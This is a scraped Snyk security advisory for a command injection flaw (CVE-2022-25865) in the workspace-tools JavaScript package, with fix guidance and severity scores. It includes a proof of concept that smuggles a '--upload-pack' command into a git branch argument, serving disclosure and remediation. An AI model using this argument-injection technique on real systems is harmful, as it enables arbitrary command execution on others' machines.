

Command Injection

Affecting workspace-tools package, versions <0.18.4

INTRODUCED: 11 MAR 2022 CVE-2022-25865 ?

CWE-78 ? FIRST ADDED BY SNYK

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How to fix?

Upgrade workspace-tools to version 0.18.4 or higher.

Overview

workspace-tools is a JS Monorepo Workspace Tools.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) function, both the remote and remoteBranch parameters are passed to the git fetch subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

```
const workspace_tools = require("workspace-tools"); workspace_tools.init("./", "username", "password") // or git init let remote1 = "origin"; let remoteBranch1 = "--upload-pack=touch HELLO1;";
```

8.1

HIGH

Snyk CVSS

Exploit Maturity

Proof of concept ?

Attack Complexity High ?

Confidentiality HIGH ?

Integrity HIGH ?

Availability HIGH ?

See more

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can

```
workspace_tools.fetchRemoteBranch(remote1,
remoteBranch1, "./") // git [ 'fetch', 'origin',
'--upload-pack=touch HELLO1;' ] // let remote2 =
"--upload-pack=touch HELLO2;"; // let
remoteBranch2 = "foo"; //
workspace_tools.fetchRemoteBranch(remote2,
remoteBranch2, "./") // git [ 'fetch', '--upload-
pack=touch HELLO2;', 'foo' ]
```

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

SnykSNYK-JS-
ID WORKSPACETOOLS-
2421201

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CreditAlessio Della Libera
of Snyk Research
Team

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